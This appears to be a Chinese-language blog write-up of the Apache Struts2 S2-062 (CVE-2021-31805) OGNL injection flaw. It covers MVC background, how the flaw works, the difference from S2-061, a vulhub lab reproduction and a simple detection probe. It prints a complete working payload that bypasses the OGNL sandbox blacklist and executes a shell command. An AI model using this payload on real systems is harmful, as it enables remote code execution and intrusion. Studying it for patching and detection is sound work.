struts2漏洞总结(到19年4月) - 提笔冩未來 - 博客园 (cnblogs.com)
CVE-2021-31805
struts2介绍
什么是MVC(Model-View-Controller)?
基础 | 三层架构与MVC模式 - 知乎 (zhihu.com)
MVC模式
MVC模式是软件工程中常见的一种软件架构模式,该模式把软件系统(项目)分为三个基本部分:模型(Model)、视图(View)和控制器(Controller)。
使用MVC模式有很多优势,例如:简化后期对项目的修改、扩展等维护操作;使项目的某一部分变得可以重复利用;使项目的结构更加直观。
具体来讲,MVC模式可以将项目划分为模型(M)、视图(V)和控制器(C)三个部分,并赋予各个部分不同的功能,方便开发人员进行分组。
(1)视图(View): 负责界面的显示,以及与用户的交互功能,例如表单、网页等。
(2)控制器(Controller): 可以理解为一个分发器,用来决定对于视图发来的请求,需要用哪一个模型来处理,以及处理完后需要跳回到哪一个视图。即用来连接视图和模型。
实际开发中,通常用控制器对客户端的请求数据进行封装(如将form表单发来的若干个表单字段值,封装到一个实体对象中),然后调用某一个模型来处理此请求,最后再转发请求(或重定向)到视图(或另一个控制器)。
(3)模型(Model): 模型持有所有的数据、状态和程序逻辑。模型接受视图数据的请求,并返回最终的处理结果。
区别
没有MVC组件:
使用Servlet来进行数据类型的转化操作-CSDN博客
1、为每个请求编写处理的Servlet
2、使用getParameter()获取请求参数
3、转换参数的数据类型,包括实体对象
4、处理重定向和转发URL
有MVC:
分离页面展示代码和业务逻辑代码,提升可维护性、提升开发效率
mvc作用:使代码按层次区分好,方便按功能管理
S2-062漏洞概况
漏洞影响版本
2.0.0 <= Apache Struts <= 2.5.29
Struts历史漏洞
Releases (apache.org)
struts2漏洞总结(到19年4月) - 提笔冩未來 - 博客园 (cnblogs.com)
漏洞原理
项目使用了%{}解析OGNL表达式,对用户输入的内容进行二次解析的时候,如果没有验证,
可能导致远程代码执行
1、什么是OGNL表达式
- Object-Graph Navigation Language(对象图导航语言)
- 一种开源的 Java 表达式语言
- 用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能
2、OGNL表达式在Struts2中用来做什么
- OGNL是Struts默认支持的表达式语言
- OGNL可以取值赋值、访问类的静态方法和属性
- 访问OGNL上下文。Struts的上下文根对象:
ValueStack - %{}用来把字符串转换成表达式%25就是URL编码的%
- 可以在struts.xml和struts标签等地方使用OGNL表达式
3、OGNL解析是怎么造成代码执行的
payload分析
- InstanceManager:用于实例化任意对象
- BeanMap:可以调用对象的getter、setter,setBean()可以更新对象
- valueStack:ONGL的根对象
- memberAccess:控制对象的访问
- setExcludedPackageNames()
setExcludedClasses()清除黑名单 - Execute类:黑名单类,exec可以执行Shell
总结
使用BeanMap绕过了Struts2的黑名单(沙盒机制),并实例化了可以执行代码的类
s2-061与s2-062区别
s2-061:
#request.map=#application.get('org.apache.tom
cat.InstanceManager').newInstance('org.apache. commons.collections.BeanMap')).toString().subst
ring(0,0)
s2-062改成了:
#request.map=#@org.apache.commons.collecti
ons.BeanMap@{}).toString().substring(0,0)
062使用特殊ongl语法(@{})可以创建beanmap对象绕过黑名单
application.map=#@org.apache.commons.collections.BeanMap@{}
漏洞复现
环境docker
cd /root/vulhub/struts2/s2-061
docker-compose up -d
测试漏洞
方式一:BP抓包重放
请求包重发
加上payload
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) ==
true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) ==
true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
反弹连接利用
方式二:自动化脚本利用
检测与修复
暴破所有的参数,上送xxx=%25{6*6},检测返回值
标签:062,get,s2,request,Struts2,BeanMap,toString,apache,org From: https://www.cnblogs.com/qgg4588/p/18104871